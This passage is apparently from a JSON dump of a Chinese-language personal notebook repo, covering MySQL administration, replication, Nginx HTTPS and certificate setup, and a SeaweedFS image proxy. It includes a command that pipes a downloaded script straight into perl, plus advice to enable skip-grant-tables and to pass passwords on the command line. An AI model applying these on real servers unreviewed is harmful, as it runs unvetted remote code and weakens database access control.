也能存但不适合：邮件附件、Github、印象笔记\r\n\r\n备份的同时要支持文件加密存储\r\n\r\n标记为工作文件要支持手机端访问\r\n\r\n用户只要鼠标右键点一点，后台自动处理加密、传输的问题，并考虑单一服务不再可用的风险\r\n\r\n嗯。。。既要经济又要可靠似乎很麻烦23333？\r\n\r\n----\r\n# 一站式获取所有我应该知道的信息\r\n\r\n也许就是如何推送到日历吧。。。win10有没有可编程的桌面小部件呢。。。\r\n\r\n有没有一个屏幕直接显示我所管理的所有服务器的状态的程序呢。。。\r\n\r\n也需要爬虫爬一下院网\r\n\r\n重要的提醒发个邮件通知自己\r\n\r\n----\r\n# 基于浙大云盘做出上传分享API[Finished]\r\n\r\n本idea已经实现：https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/fangcloud\r\n\r\n每个人2T的存储空间怎么能错过。。。\r\n\r\n不过亿方云还没有给浙大云盘搞客户端，上传有点烦\r\n\r\n研究一下如何从team.zju.edu.cn开始登录上传分享下载一条龙的API实现\r\n\r\n----\r\n\r\n# upyun https 证书更新[Finished]\r\n\r\n自动化更新证书 避免手动复制粘贴\r\n\r\nhttps://github.com/zjuchenyuan/EasyLogin/blob/master/examples/upyun/upyun.py\r\n\r\n----\r\n"
  },
  {
    "path": "MySQL.md",
    "content": "\r\n\r\n\r\n## 查看表结构\r\n\r\ndesc 表名称;\r\n\r\n### 查看建表sql语句\r\n\r\n```\r\nshow create table 表名称;\r\n```\r\n\r\n----\r\n\r\n## MERGE存储引擎\r\n\r\n官方文档：http://dev.mysql.com/doc/refman/5.7/en/merge-storage-engine.html\r\n\r\n查看能用的引擎：**show engines**\r\n\r\n## 创建一个MERGE表：\r\n\r\n假设有a,b表，他们的结构完全相同，然后就可以建立一个c表，注意这个表的定义要与a和b表完全一致\r\n\r\n```sql\r\ndrop table if exists data;\r\nCREATE TABLE c (\r\n   `id` int(11) NOT NULL,\r\n  `data` longtext NOT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE= MRG_MYISAM ,UNION=(a,b);\r\n```\r\n\r\n特点：\r\n\r\n这种表不会创建额外的索引，但查询起来比视图速度更快；\r\n\r\n不能在这种表上建立全文索引\r\n\r\n----\r\n\r\n## 删除表的冗余\r\n\r\n两行只有一列(这里假设为 gettime )不同，删除其中一行\r\n\r\n```sql\r\ndelete t1 from t as t1, t as t2 where\r\n    t1.id = t2.id and\r\n    t1.其他列=t2.其他列 and\r\n    t1.gettime>t2.gettime;\r\n```\r\n\r\n----\r\n\r\n## 修改表 alter table\r\n\r\n```sql\r\nALTER IGNORE TABLE `表名称`\r\nMODIFY COLUMN `id`  int(11) NOT NULL FIRST,\r\nMODIFY COLUMN `user` varchar(66) NOT NULL AFTER `id`,\r\nMODIFY COLUMN `content` longtext NOT NULL AFTER `user`,\r\nDROP PRIMARY KEY,\r\nADD PRIMARY KEY (`id`),\r\nDROP INDEX `a1`,\r\nADD INDEX `a1` (`user`);\r\n```\r\n\r\n----\r\n\r\n## 将中文转为拼音 函数\r\n\r\n代码在[code/pinyin.sql](code/pinyin.sql)\r\n\r\n----\r\n\r\n## 从路径URL获取文件名称\r\n\r\n来源 http://stackoverflow.com/questions/17090237/extracting-filenames-from-a-path-mysql\r\n\r\n使用SUBSTRING_INDEX函数，假设url此行的内容为\"http://example.com/some/path/to/filename.zip\"\r\n\r\n    select SUBSTRING_INDEX(url, '/', -1) as filename;\r\n    \r\n即可得到一列filename，此行数据为\"filename.zip\"\r\n\r\n----\r\n\r\n## 查询优化\r\n\r\n### explain发现出现了using filesort\r\n\r\n> 参考 http://www.ccvita.com/169.html\r\n\r\n如果使用了order by或者group by，需要建索引以优化这个查询\r\n\r\ngroup by用了两个列，两列要合在一起创建索引\r\n\r\n### 内存表索引的选择\r\n\r\n> 参考 https://dev.mysql.com/doc/refman/5.5/en/optimizing-memory-tables.html\r\n\r\n内存表的索引应该选择BTREE\r\n\r\n----\r\n\r\n## 内存表The table is full\r\n\r\n修改MySQL的配置文件/etc/mysql/my.cnf，在[mysqld]下添加/修改两行(下面的值仅供参考,请根据实际情况酌情处理)： \r\n\r\n```\r\ntmp_table_size = 256M // 临时表大小 \r\nmax_heap_table_size = 256M // 内存表大小 \r\n```\r\n\r\n----\r\n\r\n## replace函数替换文本\r\n\r\n```\r\nupdate `content` set value=replace(value,\"original content\",\"replaced content\");\r\n```\r\n\r\n注意replace不要反引号\r\n\r\n----\r\n\r\n## 简单的split功能，文本转数字\r\n\r\n表的设计违背了一列只存放一种数据的原则，搞出了这样一个Text类型的列(假设为info)，格式为\"用户名: 数值\"\r\n\r\n现在需要将数值从这一列中提取出来，并转为int类型\r\n\r\n```\r\nconvert (\r\n\tsubstr(\r\n\t\t`info`,\r\n\t\tlocate(':', `info`) + 2\r\n\t),\r\n\tunsigned integer\r\n)\r\n```\r\n\r\nGoogle关键词：`mysql split string`,`mysql string to int`\r\n\r\n参考：\r\n\r\nhttps://stackoverflow.com/questions/14950466/how-to-split-the-name-string-in-mysql\r\n\r\nhttps://stackoverflow.com/questions/5960620/convert-text-into-number-in-mysql-query\r\n\r\n----\r\n\r\n## mysqld配置参数调优\r\n\r\n> 参考：[https://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner](https://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner)\r\n\r\n使用MySQLTuner这个工具得到一些建议：\r\n\r\n```\r\ncurl -L http://mysqltuner.pl/ | perl\r\n```\r\n\r\n对于其最后给出的参数建议照做即可。\r\n\r\n`key_buffer`参数是最关键的参数，决定了mysql占用的内存大小\r\n\r\n----\r\n\r\n## 支持emoji，从utf8升级到utf8mb4\r\n\r\n为了让mysql存储[emoji表情](http://getemoji.com/)，需要进行表的变更操作 以及 连接代码的修改\r\n\r\n参考[https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python](https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python)\r\n\r\n#### 表的变更 表的每一个`CHAR`，`VARCHAR`和`TEXT`类型的列都要改为使用utf8mb4\r\n\r\n举个例子，表名称{tablename}，修改其`user`列和`content`列，以及表的默认字符集：\r\n\r\n```sql\r\nALTER TABLE `{tablename}`\r\nMODIFY COLUMN `user`  varchar(66) CHARACTER SET utf8mb4 NOT NULL AFTER `edittime`,\r\nMODIFY COLUMN `content`  longtext CHARACTER SET utf8mb4 NOT NULL AFTER `user`,\r\nDEFAULT CHARACTER SET=utf8mb4;\r\n```\r\n\r\n#### 连接代码的改动\r\n\r\n在执行 insert 的 sql语句之前，先执行这三条sql:\r\n\r\n```\r\nSET NAMES utf8mb4;\r\nSET CHARACTER SET utf8mb4; \r\nSET character_set_connection=utf8mb4;\r\n```\r\n\r\n----\r\n\r\n## 解决 Too many open files 错误\r\n\r\n>参考：https://duntuk.com/how-raise-ulimit-open-files-and-mysql-openfileslimit\r\n\r\n> https://stackoverflow.com/questions/22495124/cannot-set-limit-of-mysql-open-files-limit-from-1024-to-65535/35515570\r\n\r\n系统环境： ubuntu16.04，用apt install mysql-server安装的mysql\r\n\r\n这个问题的原因是mysql默认的open_files_limit是1024，在mysql打开1024个文件后就无法再打开新文件，需要修改这个limit，如改为1024000\r\n\r\n修改`/etc/mysql/mysql.conf.d/mysqld.cnf`，在[mysqld_safe]和[mysqld]都加入一行：\r\n\r\n```\r\nopen_files_limit = 1024000\r\n```\r\n\r\n在`/etc/security/limits.conf`中加入：\r\n\r\n```\r\n* soft nofile 1024000\r\n* hard nofile 1024000\r\n* soft nproc 10240\r\n* hard nproc 10240\r\n```\r\n\r\n上述还不够，由于mysql服务被systemd管理，还要修改`/lib/systemd/system/mysql.service`，在最后加入\r\n\r\n```\r\nLimitNOFILE = infinity\r\nLimitMEMLOCK = infinity\r\n```\r\n\r\n在ubuntu16.04上，这些还不够，还要继续改systemd:\r\n（参考：https://serverfault.com/questions/791729/ubuntu-16-04-server-mysql-open-file-limit-wont-go-higher-than-65536）\r\n\r\n```\r\nmkdir /etc/systemd/system/mysql.service.d\r\ntee /etc/systemd/system/mysql.service.d/override.conf <<-'EOF'\r\n[Service]\r\nLimitNOFILE=1024000\r\nEOF\r\n```\r\n\r\n然后重启mysql：\r\n\r\n```\r\nsystemctl daemon-reload\r\nsystemctl restart mysql.service\r\n```\r\n\r\n使用这两种方法都能看到修改是否生效：\r\n\r\n```\r\nps aux|grep mysqld #找到mysqld的进程ID\r\ncat /proc/上述找到的进程ID/limits | grep files\r\n\r\nmysql -u root -p\r\nshow global variables like \"%open_files_limit%\";\r\n```\r\n\r\n----\r\n\r\n## 解决ubuntu16.04上mysql被apt upgrade自动关闭的问题\r\n\r\n问题现象： mysql服务自动退出，查日志`jounralctl -xe|tac|less`发现是`apt upgrade`引起的自动退出\r\n\r\n发现这是一个ubuntu16.04的特性，每天凌晨6点会自动apt upgrade安全更新，但不明原因这个更新失败了，apt关掉了mysql服务后由于异常退出并没有重新把mysql服务启动\r\n\r\n如果你想关掉自动更新（不建议）：修改`/etc/apt/apt.conf.d/20auto-upgrades`，改为`APT::Periodic::Unattended-Upgrade \"0\";`\r\n\r\n执行`apt upgrade`或者`apt-get install -f`看看，能重现问题（mysql被关掉了），也发现了报错信息：\r\n\r\n```\r\nmysql_upgrade: Got error: 2002: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) while connecting to the MySQL server\r\n  Upgrade process encountered error and will not continue.\r\n```\r\n\r\n然后就查这个报错，发现了这个：https://github.com/chef-cookbooks/mysql/issues/466\r\n\r\n人家的解决方案是：`systemctl enable mysql`，然而我执行又遇到了systemd的报错：`Failed to execute operation: Invalid argument`\r\n\r\n最终解决方案就是先disable一下\r\n\r\n```\r\nsystemctl disable mysql\r\nsystemctl enable mysql\r\napt-get install -f\r\n```\r\n\r\n----\r\n\r\n## NULL转0\r\n\r\n用函数IFNULL，写法就是`IFNULL(列名, 0)`\r\n\r\n举个例子\r\n\r\n```\r\nselect sum(IFNULL(score, 0)) from runs;\r\n```\r\n\r\n----\r\n\r\n## 给MySQL增加一个slave做主从复制\r\n\r\nmaster启用binlog配置server-id；master用mysqldump导出数据库；slave导入，开始slave\r\n\r\n### master创建用户\r\n\r\n```\r\nGRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';\r\nFLUSH PRIVILEGES;\r\n```\r\n\r\n### master启用binlog\r\n\r\n/etc/mysql/conf.d/master.cnf\r\n\r\n```\r\n[mysqld]\r\nserver-id=1\r\nlog-bin=mysql-bin.log\r\ninnodb_flush_log_at_trx_commit=1\r\nsync_binlog=1\r\n```\r\n\r\n### 搬运数据库\r\n\r\n由于binlog是在已经有数据之后才开启的，而mysql不会自己执行全量同步，就只能靠手工搬运sql文件咯\r\n\r\n跨地域复制网速是限制因素，就用7z压缩了\r\n\r\n```\r\nmysqldump -h 127.0.0.1 -P 3306 -u root -p --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data | 7z a -si dbdump.sql.7z\r\n7z x -so dbdump.sql.7z | mysql -h 127.0.0.1 -u root -p\r\n```\r\n\r\n你也可以使用ssh和管道操作，就不用创建文件了：\r\n\r\n```\r\nssh master_server \"mysqldump -h 127.0.0.1 -P 3306 -u root -ppassword --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data |gzip\" | zcat | mysql -h 127.0.0.1 -u root -ppassword\r\n```\r\n\r\n其中`--master-data`很重要，导出的时候就自动带上了master的信息，无需再手工记录\r\n\r\n`CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=15410;`\r\n\r\n### 配置slave\r\n\r\n实际使用中很容易遇到duplicate key的问题，导致slave线程停住，配置直接忽略这个错误 [参考](https://www.ducea.com/2008/02/13/mysql-skip-duplicate-replication-errors/)\r\n\r\n```\r\nserver-id               = 2\r\nrelay-log               = mysql-relay-bin.log\r\nlog_bin                 = mysql-bin.log\r\nslave-skip-errors = 1062\r\n```\r\n\r\n```\r\nCHANGE MASTER TO MASTER_HOST='12.34.56.789',MASTER_USER='slave_user', MASTER_PASSWORD='password';\r\nSTART SLAVE;\r\nSHOW SLAVE STATUS\\G\r\n```\r\n\r\n### Docker镜像\r\n\r\nhttps://github.com/bitnami/bitnami-docker-mysql\r\n\r\n但这个镜像也不会帮你自动完成mysqldump，但配置一个slave还是很省心的\r\n\r\n注意权限配置，如果原本数据文件夹不存在，Docker创建的是root用户才能读写，导致容器直接退出，坑的地方在于没有报错信息\r\n\r\n```\r\nmkdir -p /srv/mysql-slave/data\r\nchown 1001 /srv/mysql-slave/data -R\r\n\r\ndocker run -it -v /srv/mysql-slave/my.cnf:/opt/bitnami/mysql/conf/my.cnf:ro -v /srv/mysql-slave/data:/bitnami/mysql/data \\\r\n     --name mysql-slave -e MYSQL_REPLICATION_MODE=slave -e MYSQL_REPLICATION_USER=slave_user -e MYSQL_REPLICATION_PASSWORD=password \\\r\n      -e MYSQL_MASTER_HOST=12.34.56.789 -e MYSQL_MASTER_PORT_NUMBER=3306 \\\r\n      -e MYSQL_MASTER_ROOT_USER=slave_user -e MYSQL_MASTER_ROOT_PASSWORD=password \\\r\n      bitnami/mysql:5.7\r\n```\r\n\r\n其中MYSQL_MASTER_ROOT_USER虽然人家说要root用户，实际上代码里只是用来select 1，所以用slave_user即可，参见[我提的issue](https://github.com/bitnami/bitnami-docker-mysql/issues/87)\r\n\r\n容器启动后一般会由于master的binlog不完整执行sql失败（表不存在），需要继续操作：\r\n\r\n修改my.cnf在`[mysqld]`增加`skip-grant-tables` 注意复数，来保证slave可以连上进行操作\r\n\r\n然后执行sql语句`STOP SLAVE;` 再执行上述搬运数据库的操作，导入完成后`START SLAVE`\r\n\r\n使用`show slave status;`查看slave状态\r\n\r\n另外，配合autossh和ssh的端口转发可以避免将mysql端口暴露在外：\r\n\r\n```\r\nautossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -L 172.17.0.1:3306:127.0.0.1:3306 user@12.34.56.789\r\n```\r\n\r\n相应地，slave配置的master地址改为172.17.0.1\r\n\r\n------\r\n\r\n## 为什么MySQL表必须要有主键\r\n\r\nLearned from: https://federico-razzoli.com/why-mysql-tables-need-a-primary-key\r\n\r\nInnoDB中非主键的索引是额外存储的，使用索引查询先查到主键，再用主键查数据——没有主键的查询会慢一些\r\n\r\n没有主键也没有隐式主键（创建表的时候指定的NOT NULL UNIQUE列）会自动使用递增的row id作为主键，但递增需要全局锁`dict_sys->mutex`——多个表同时插入时性能下降\r\n\r\n在binlog中删除操作有主键只需要记录主键，没有主键需要记录所有内容——binlog更大\r\n\r\n从机执行binlog中的delete操作，每次操作都需要扫描全表——性能显著下降\r\n\r\n集群如Galera需要等待所有节点commit才会给客户端返回成功——用户感受到很高的延迟\r\n\r\n\r\n"
  },
  {
    "path": "Nginx.md",
    "content": "# Nginx\r\n\r\n记录用到的配置，说不定你也能遇到这些特殊需求呢~\r\n\r\n\r\n## Nginx思考题\r\n\r\n请以批判的眼光阅读以下链接或者自行google，回答以下问题：\r\n\r\nhttp://www.nginx.cn/591.html\r\n\r\n1. nginx.conf在你Linux的什么目录下？用什么命令知道的？修改配置后通过什么命令重新载入配置？\r\n\r\n2. nginx.conf分为几个部分？我们需要关注的是哪个？\r\n\r\n3. nginx.conf中怎么表示注释行？是否留意到include的行载入了额外的配置文件？\r\n\r\n4. 如何增加一个虚拟主机，根据域名来区分访问不同的网站？访问者直接访问IP或者错误的域名会匹配到默认网站，怎么配置默认网站？\r\n\r\n\r\n这些是更为进阶/发散的问题：\r\n\r\n1. 静态内容：root与alias有何区别？访问403了怎么办？\r\n\r\n2. 动态内容/反向代理：如何做负载均衡、文本替换？\r\n\r\n3. 全站https和HTTP/2.0怎么配置？\r\n\r\n1. Nginx是否有必要作为一个Docker容器运行？CentOS下Nginx镜像很大，怎么[减小镜像大小](https://www.v2ex.com/t/360759)？\r\n\r\n2. Nginx的worker进程一般不是root权限的，那是怎么监听到80端口的？\r\n\r\n3. Nginx在处理高并发的时候参数如何调优？\r\n\r\n4. 如何在Nginx层面拦截sql注入、密码爆破等安全风险？[VeryNginx](https://github.com/alexazhou/VeryNginx)\r\n\r\n\r\n## 普通资源允许POST\r\n\r\n    error_page 405 =200 @405;\r\n\r\n\r\n## 不带后缀的文件当成php执行\r\n\r\n这里的思路是用反向代理的方式简单实现\r\n\r\n    location /path/something {\r\n        proxy_pass http://yourdomain/path/something.php;\r\n        proxy_method GET;\r\n    }\r\n\r\n顺带拒绝掉对php后缀的猜测：\r\n\r\n    location = /path/something.php {\r\n        if ($remote_addr != '服务器自身IP') {\r\n            return 404;\r\n        }\r\n        include fastcgi.conf;\r\n    }\r\n\r\n## http跳转到https\r\n\r\n    location /{\r\n        rewrite ^ https://$host$request_uri? permanent;\r\n    }\r\n\r\n## 获得Let's encrypt免费https证书\r\n\r\n为简化操作，我写了一个更加方便的[getcert.py](code/getcert.py)\r\n\r\n### 使用方法：\r\n\r\n#### 第一步：\r\n\r\n配置相应网站的nginx conf中的server里面，加入这个：\r\n\r\n```\r\n    location /.well-known/acme-challenge {\r\n        alias 保存密钥的目录;\r\n        try_files $uri =404;\r\n    }\r\n```\r\n\r\n记得运行后 `nginx -s reload`\r\n\r\n#### 第二步，运行我的getcert.py（创建私钥并提交申请）：\r\n\r\n````\r\npushd 上述保存密钥的目录\r\nwget https://raw.githubusercontent.com/zjuchenyuan/notebook/master/code/getcert.py\r\n./getcert.py 文件名称 该证书包含的域名列表\r\n````\r\n\r\n例如这样就能获得一张涵盖zjusec.com三个子域名的证书：`./getcert.py zjusec zjusec.com,www.zjusec.com,web.zjusec.com`\r\n\r\n具体来说，这个脚本会自动下载需要的acme_tiny.py和Let's Encrypt的中间证书，调用openssl创建账号私钥和站点私钥，最终产生 **名称.crt** **名称.key**。\r\n\r\n![https.jpg](download/img/https.jpg)\r\n\r\n\r\n## 使用acme.sh获得泛域名证书\r\n\r\n泛域名解析需要使用DNS验证，就需要使用DNS服务的API，即使没有API只要配置一条CNAME指向一个有DNS API的域名即可\r\n\r\n首先获得acme.sh\r\n\r\ngit clone https://github.com/Neilpang/acme.sh\r\n\r\n然后拿到cloudflare的API Key，托管b.com\r\n\r\n需要拿到能用于a.com和*.a.com的证书，先配置CNAME（参考：https://github.com/Neilpang/acme.sh/wiki/DNS-alias-mode）\r\n\r\n_acme-challenge.a.com   =>   _acme-challenge.b.com\r\n\r\n执行命令咯：\r\n\r\n```\r\nCF_Key=xxx CF_Email=xxx@example.com /root/acme.sh/acme.sh --issue --dns dns_cf -d '*.a.com' --challenge-alias b.com -d a.com --dnssleep 10 --fullchain-file /root/acom.crt --key-file /root/acom.key -f\r\n```\r\n\r\n解释：前面两个是配置环境变量，使用cloudflare所以指定--dns dns_cf，然后-d ... --challenge-alias ... -d ... 指定域名和验证用的域名，--dnssleep 10等待10秒DNS生效（默认120秒没必要），--fullchain-file和--key-file 指定生成后把证书文件和密钥文件拷贝到哪\r\n\r\n## 配置安全的https\r\n\r\n此处参考[https://z.codes/ssl-lab-a-plus-configuration-for-nginx/](https://z.codes/ssl-lab-a-plus-configuration-for-nginx/)\r\n\r\n首先从PPA安装nginx, 这样可以保证最新版\r\n\r\n```\r\nadd-apt-repository ppa:nginx/stable\r\napt update\r\napt install nginx\r\n```\r\n\r\n创建DH随机质数：\r\n\r\n```\r\nopenssl dhparam -out /etc/ssl/dhparams.pem 2048\r\n```\r\n\r\n创建/etc/nginx/https.conf：\r\n\r\n```\r\nlisten 443 ssl http2;\r\nadd_header Strict-Transport-Security \"max-age=31536000\" always;\r\nadd_header Upgrade-Insecure-Requests \"1\";\r\nadd_header Content-Security-Policy \"upgrade-insecure-requests\";\r\nssl_dhparam /etc/ssl/dhparams.pem;\r\nssl_stapling on;\r\nssl_stapling_verify on;\r\nresolver 8.8.8.8 8.8.4.4 114.114.114.114 valid=60s;\r\nresolver_timeout 2s;\r\nssl_protocols TLSv1 TLSv1.1 TLSv1.2;\r\nssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';\r\nssl_session_cache shared:SSL:10m;\r\nssl_session_timeout 24h;\r\nssl_buffer_size 1400;\r\nssl_prefer_server_ciphers  on;\r\nkeepalive_timeout 600s;\r\nlocation ~* /\\.(?!well-known\\/) {\r\n    deny all;\r\n}\r\nlocation ~* (?:\\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {\r\n    deny all;\r\n}\r\ninclude mime.types;\r\n```\r\n\r\n为需要启用https的站点，在/etc/nginx/sites-enabled/中写入conf文件\r\n\r\n```\r\nserver {\r\n    listen 443;\r\n    server_name 域名1 域名2;\r\n    access_log /tmp/access.log;\r\n    error_log /tmp/error.log;\r\n    ssl_certificate 密钥目录/名称.crt;\r\n    ssl_certificate_key 密钥目录/名称.key;\r\n    include https.conf\r\n    其他配置。。。\r\n}\r\n```\r\n\r\n## 反向代理之替换网页、JS中的文本\r\n\r\n使用模块ngx_http_substitutions_filter_module，见Github: https://github.com/yaoweibin/ngx_http_substitutions_filter_module\r\n\r\n需要重新编译nginx，Tip: `nginx -V`命令可以显示当前版本的nginx的编译参数\r\n\r\n编译后就可以用啦，举个例子：微信的公众号文章页面为了节省用户流量，图片是把页面滚动至所在位置才加载的，代码上的差异就是img标签本应是src的改成了data-src，这里我们要做一个微信的反向代理网站，把data-src替换成src，则可以直接加载所有图片（唔。。。其实还不够，还需要考虑防盗链的问题）；并且设置MIME类型包含Javascript\r\n\r\n```\r\n        subs_filter 需要替换掉的内容 替换后的文本;\r\n        subs_filter data-src src;\r\n        subs_filter_types application/x-javascript text/javascript appliation/x-javascript;\r\n```\r\n\r\n## 禁止git目录访问\r\n\r\n在server块中添加：\r\n\r\n```\r\nlocation ~ /\\. {\r\n    return 404;\r\n}\r\n```\r\n\r\n相应的Apache可以在httpd.conf中添加：\r\n\r\n```\r\nRedirectMatch 404 /\\.git\r\n```\r\n\r\n## root与alias的区别\r\n\r\nFrom: http://stackoverflow.com/questions/10631933/nginx-static-file-serving-confusion-with-root-alias\r\n\r\n一句话概括，root对应的目录会加上location部分去找文件，而alias则不会\r\n\r\n```\r\n        location /static/ {\r\n                root /var/www/app/static/;\r\n                autoindex off;\r\n        }\r\n```\r\n\r\n如果我们这么写，那么访问static目录下的a.jpg就会去找/var/www/app/static/static目录下的a.jpg，如果没有这个static/static就会404\r\n\r\n解决方法有两种：\r\n\r\n如果location中的static就是真实目录，root中就不要写static了\r\n\r\n```\r\n        location /static/ {\r\n                root /var/www/app/;\r\n                autoindex off;\r\n        }\r\n```\r\n\r\n或者用alias就不会再加上location的部分：\r\n\r\n```\r\n        location /static/ {\r\n                alias /var/www/app/static/;\r\n                autoindex off;\r\n        }\r\n```\r\n\r\n----\r\n\r\n## 在bash on win10上使用Nginx\r\n\r\n与Linux中安装类似，只要`apt-get install nginx`即可，但可能会发现nginx并不正常工作，日志中是这样的：\r\n\r\n```\r\n[alert] 79#0: ioctl(FIOASYNC) failed while spawning \"worker process\" (22: Invalid argument)\r\n```\r\n\r\n解决方案：在/etc/nginx/nginx.conf中添加一行：\r\n\r\n```\r\nmaster_process off;\r\n```\r\n\r\n----\r\n\r\n## 使上一级服务知道用户IP\r\n\r\n```\r\nproxy_set_header realip $remote_addr;\r\n```\r\n\r\n这样设置后，Nginx反向代理上一级服务会加上realip这个头，从而传递用户真实的IP（如果是代理则是代理的IP）\r\n\r\n----\r\n\r\n## Nginx允许列目录\r\n\r\n加上`autoindex on`即可，后两项是为了 显示服务器时间而不是GMT时间 以及 以kB,MB,GB为单位显示大小而不是确切的字节数\r\n\r\n```\r\nlocation / {\r\n    autoindex on;\r\n    autoindex_localtime on;\r\n    autoindex_exact_size off;\r\n}\r\n```\r\n\r\n----\r\n\r\n## 安全地使用SeaweedFS作为图片反向代理服务器\r\n\r\n想基于seaweedfs实现一个反向代理的缓存服务器，Nginx先请求A服务器(weedfs filer)，如果还没有存下这张图片(返回404)，切至B服务器(Python flask)去爬取图片并传至weedfs存储\r\n\r\nseaweedfs的filer提供了按自己指定的路径上传下载功能（对象存储），就不需要再自己考虑怎么存储path与fid的对应关系了，直接按爬取源的路径存储即可\r\n\r\n实现：\r\n\r\n### Nginx配置\r\n\r\n#### 在http段中添加upstream\r\n\r\n注意把B服务器设置为backup 不要参与默认负载均衡\r\n\r\n```\r\nupstream up {\r\n        server weedfs:8888;\r\n        server 127.0.0.1:80 backup;\r\n}\r\n```\r\n\r\n#### server段配置\r\n\r\n我希望访问`/images/hhh.jpg`实际访问`http://weedfs:8888/my_images/hhh.jpg`\r\n\r\n关键就是`proxy_next_upstream`\r\n\r\n```\r\nlocation /images/ {\r\n        rewrite ^/images(/.*)$ /my_images$1 break;\r\n        proxy_pass http://up;\r\n        proxy_next_upstream http_404;\r\n        proxy_hide_header Content-Type;\r\n        add_header Content-Type image/jpeg;\r\n        limit_except GET {\r\n                deny all;\r\n        }\r\n}\r\n```\r\n\r\n在seaweedfs返回404的时候会继续请求`http://127.0.0.1/my_images/hhh.jpg`\r\n\r\n这种rewrite是不会修改POST的url的。。。就很迷，另外允许用户POST上传也是不安全的，这里就直接禁止了非GET方法\r\n\r\n#### 修改后端特定header\r\n\r\n这里用的是先删除`proxy_hide_header`再添加`add_header`\r\n\r\n#### 我还是想让nginx也能支持给seaweedfs上传文件\r\n\r\n不要死磕一个location嘛，再配置个呗：\r\n\r\n```\r\nlocation /upload_images/ {\r\n        rewrite ^/upload_images(/.*)$ $1 break;\r\n        resolver 127.0.0.11 valid=10s;\r\n        proxy_pass http://weedfs:8888/my_images$1;\r\n        allow 127.0.0.0/8;\r\n        deny all;\r\n}\r\n```\r\n\r\n这样配置的效果是POST `/upload_images/`相当于在POST `http://weedfs:8888/my_images/`\r\n\r\n与前述的GET配置是相同的后端路径，上传的文件（如`/123.jpg`）就传到了weedfs的`http://weedfs:8888/my_images/123.jpg`能通过`/images/123.jpg`访问到\r\n\r\n#### 配置proxy_pass使用的DNS服务器\r\n\r\n由于这个nginx是在Docker容器里面的，weedfs是另一个容器加入网络的时候指定的别名，所以注意上面的resolver设置为与容器/etc/resolv.conf一致的`127.0.0.11`\r\n\r\n经过我测试，这个配置必须在location中才有效，放到http里面没用\r\n\r\n### Docker 我使用的seaweedfs启动命令\r\n\r\n#### 编译镜像 避免丢失filer数据\r\n\r\n首先需要自己编译一个Docker镜像，默认的镜像会把filer的leveldb数据存储在根目录，删除容器就会丢失这部分数据\r\n\r\n参见：https://github.com/chrislusf/seaweedfs/blob/master/docker/\r\n\r\n`filer.toml`:\r\n```\r\n[leveldb]\r\nenabled = true\r\ndir = \"/data/filer/\"\r\n```\r\n\r\n`Dockerfile`:\r\n\r\n```\r\nFROM chrislusf/seaweedfs\r\nCOPY filer.toml /etc/seaweedfs/filer.toml\r\n```\r\n\r\n#### 启动命令\r\n\r\n```\r\ndocker run -dit --name weedfs --restart=always --user nobody -v /data/weedfs:/data myweed -log_dir=/data/logs/ server -dir /data -filer=true -filer.disableDirListing -volume.publicUrl=weedfs.py3.io\r\n\r\ndocker network connect useweed weedfs --alias weedfs\r\n```\r\n\r\n建议在测试的时候不要用`-filer.disableDirListing`选项，可以列目录来看看到底上传到哪了：`curl  -H \"Accept: application/json\" \"http://weedfs:8888/my_images/?pretty=y\"`\r\n\r\n另外注意启动前创建文件夹和配置权限：（不要以为人家会给你创建目录）\r\n\r\n```\r\nmkdir -p /data/weedfs/logs/\r\nmkdir -p /data/weedfs/filer/\r\nsudo chown -R nobody /data/weedfs\r\n```\r\n\r\n### B服务器的实现\r\n\r\n```\r\nTARGET_SERVER = \"http://images.example.com/\"\r\nWEEDFS_FILER_ENDPOINT = \"http://nginx/upload_images/\"\r\n\r\nfrom flask import Flask, Response\r\nimport requests\r\nimport io\r\nsess = requests.session()\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/my_images/<name>\")\r\ndef handler(name):\r\n    x = sess.get(TARGET_SERVER+name)\r\n    sess.post(WEEDFS_FILER_ENDPOINT, files=[('filename', (name, io.BytesIO(x.content)))])\r\n    return Response(x.content, mimetype=\"image/jpeg\") \r\n```\r\n\r\n#### 顺便附上Python库pyseaweed的使用\r\n\r\npip install pyseaweed\r\n\r\n如果服务器启动的时候配置的`publicUrl`以`https://`开头，这个`pyseaweed`库是有问题的，需要手动修几处url构造的地方\r\n\r\n```\r\npublicurl = \"http://localhost:8080/\"\r\n\r\nfrom pyseaweed import WeedFS\r\nw = WeedFS(\"localhost\", 9333, use_session=True)\r\n# 上传 也支持传入流\r\nfid = w.upload_file(filename)\r\n\r\n# 下载 